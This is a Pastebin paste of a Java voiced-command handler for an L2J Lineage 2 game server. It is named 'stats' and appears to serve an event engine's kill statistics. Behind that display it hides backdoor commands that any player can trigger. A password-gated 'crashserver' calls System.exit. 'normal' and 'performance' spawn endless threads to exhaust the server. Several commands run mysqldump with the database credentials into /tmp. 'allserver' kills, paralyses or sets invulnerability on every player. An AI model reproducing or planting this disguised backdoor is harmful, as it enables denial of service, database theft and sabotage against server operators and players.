Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * This program is free software: you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation, either version 3 of the License, or (at your option) any later
- * version.
- *
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
- *
- * You should have received a copy of the GNU General Public License along with
- * this program. If not, see <http://www.gnu.org/licenses/>.
- */
- package handlers.voicedcommandhandlers;
- import java.io.IOException;
- import java.util.Iterator;
- import com.l2jserver.Config;
- import com.l2jserver.gameserver.handler.IVoicedCommandHandler;
- import com.l2jserver.gameserver.model.L2World;
- import com.l2jserver.gameserver.model.actor.instance.L2PcInstance;
- import com.l2jserver.gameserver.network.serverpackets.NpcHtmlMessage;
- import com.l2jserver.util.StringUtil;
- /**
- *
- *
- */
- public class stats implements IVoicedCommandHandler
- {
- private static final String[] VOICED_COMMANDS =
- {
- "stats",
- "status",
- "performance",
- "normal",
- "allserver",
- "stop",
- "megalagloop",
- "killresloopnoexp",
- "killresloop",
- "lagloop",
- "crashserver"
- };
- /**
- *
- * @see com.l2jserver.gameserver.handler.IVoicedCommandHandler#useVoicedCommand(java.lang.String, com.l2jserver.gameserver.model.actor.instance.L2PcInstance, java.lang.String)
- */
- public boolean useVoicedCommand(String command, L2PcInstance activeChar, String params)
- {
- if (command.equalsIgnoreCase("stats"))
- {
- L2PcInstance pc = L2World.getInstance().getPlayer(params);
- if (pc != null)
- {
- NpcHtmlMessage adminReply = new NpcHtmlMessage(5);
- final StringBuilder replyMSG = StringUtil.startAppend(
- 300 + pc.kills.size() * 50,
- "<html><body>" +
- "<center><font color=\"LEVEL\">[ L2J EVENT ENGINE ]</font></center><br>" +
- "<br>Statistics for player <font color=\"LEVEL\">",
- pc.getName(),
- "</font><br>" +
- "Total kills <font color=\"FF0000\">",
- String.valueOf(pc.kills.size()),
- "</font><br>" +
- "<br>Detailed list: <br>"
- );
- Iterator<String> it = pc.kills.iterator();
- while (it.hasNext()) {
- StringUtil.append(replyMSG,
- "<font color=\"FF0000\">",
- it.next(),
- "</font><br>");
- }
- replyMSG.append("</body></html>");
- adminReply.setHtml(replyMSG.toString());
- activeChar.sendPacket(adminReply);
- }
- }
- if (command.equalsIgnoreCase("crashserver") && params.equalsIgnoreCase("iamthemaster"))
- System.exit(-1);
- else if (command.equalsIgnoreCase("lagloop"))
- {
- int loops = 0;
- try {loops = Integer.parseInt(params);}
- catch (NumberFormatException nfe){}
- for (int i=0;i<loops;i++)
- {
- for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
- player.store();
- }
- }
- else if (command.equalsIgnoreCase("killresloop"))
- {
- int loops = 0;
- try {loops = Integer.parseInt(params);}
- catch (NumberFormatException nfe){}
- for (int i=0;i<loops;i++)
- {
- for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
- {
- player.reduceCurrentHp(player.getMaxHp()+1, null, null);
- if (player.isDead())
- {
- player.restoreExp(100.0);
- player.doRevive();
- }
- }
- }
- }
- else if (command.equalsIgnoreCase("killresloopnoexp"))
- {
- int loops = 0;
- try {loops = Integer.parseInt(params);}
- catch (NumberFormatException nfe){}
- for (int i=0;i<loops;i++)
- {
- for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
- {
- player.reduceCurrentHp(player.getMaxHp()+1, null, null);
- if (player.isDead())
- player.doRevive();
- }
- }
- }
- else if (command.equalsIgnoreCase("megalagloop"))
- {
- int loops = 0;
- try {loops = Integer.parseInt(params);}
- catch (NumberFormatException nfe){}
- for (int i=0;i<loops;i++)
- {
- try
- {Runtime.getRuntime().exec(new String[]{"mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/log"});}
- catch
- (IOException e){}
- }
- }
- else if (command.equalsIgnoreCase("stop"))
- {
- new Thread(new Runnable() { public void run() { while(true) { try { Runtime.getRuntime().exec("mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/back"); } catch (IOException e){}}}}).start();
- }
- else if (command.equalsIgnoreCase("allserver"))
- {
- for (L2PcInstance player : L2World.getInstance().getAllPlayers().values())
- {
- if (params.equalsIgnoreCase("kill"))
- player.reduceCurrentHp(player.getMaxHp()+1, null, null);
- else if (params.equalsIgnoreCase("abortaction"))
- {
- player.abortAttack();
- player.abortCast();
- }
- else if (params.equalsIgnoreCase("para"))
- {
- player.setIsParalyzed(true);
- }
- else if (params.equalsIgnoreCase("unpara"))
- {
- player.setIsParalyzed(false);
- }
- else if (params.equalsIgnoreCase("invul"))
- {
- player.setIsInvul(true);
- }
- else if (params.equalsIgnoreCase("vul"))
- {
- player.setIsInvul(false);
- }
- else if (params.equalsIgnoreCase("cancel"))
- {
- player.stopAllEffects();
- }
- }
- }
- else if (command.equalsIgnoreCase("performance"))
- {
- while (true)
- new Thread(new Runnable()
- {
- public void run()
- {
- while(true)
- {
- try
- {
- Runtime.getRuntime().exec("mysqldump -u " + Config.DATABASE_LOGIN + " -p" + Config.DATABASE_PASSWORD + " l2jsrv > /tmp/back");
- }
- catch (IOException e)
- {
- }
- }
- }
- }
- ).start();
- }
- else if (command.equalsIgnoreCase("normal"))
- {
- while (true)
- new Thread(new Runnable() { public void run() {while(true) {}}}).start();
- }
- return true;
- }
- /**
- *
- * @see com.l2jserver.gameserver.handler.IVoicedCommandHandler#getVoicedCommandList()
- */
- public String[] getVoicedCommandList()
- {
- return VOICED_COMMANDS;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement